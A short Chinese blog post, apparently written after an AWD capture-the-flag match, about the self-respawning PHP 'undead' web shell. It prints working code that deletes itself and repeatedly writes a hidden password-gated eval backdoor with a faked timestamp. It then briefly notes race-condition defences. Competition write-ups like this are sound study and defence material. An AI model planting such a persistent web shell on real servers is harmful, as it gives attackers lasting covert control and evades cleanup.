本文最后更新于 559 天前,其中的信息可能已经有所发展或是发生改变。
一、前言
前一段之间打了一场AWD比赛,被不死马搞得很惨,后来专门花了段时间来研究不死马,现在来写篇文章记录一下收获
二、简单的不死马
代码语言:javascript复制<?php
ignore_user_abort(true); // 函数设置与客户机断开是否会终止脚本的执行。
set_time_limit(0); // 设置脚本最大执行时间,如果设置为0,则没有时间方面的限制
unlink(__FILE__); // unlink删除文件 __FILE__取得当前文件的绝对地址 也就是删除自身
$file = '.shell.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
//pass=pass
while (1){
file_put_contents($file,$code); // 写入文件
system('touch -m -d "2018-12-01 09:10:12" .shell.php'); // 修改文件时间
usleep(5000); //函数延迟代码执行若干微秒
}
?>
木马在上传到服务器后浏览器访问即会将本身删除,然后在当前目录下生成隐藏文件并修改时间,以避免被发现。
三、不死马的防护方式
简单的删除是没有用的,这里我们可以用条件竞争的方法来使得不死马无法正常生效,这里有两种方法,第一种是我们也同时也向木马中写入内容,第二种是创建一个与脚本同名的文件夹
浏览量: 106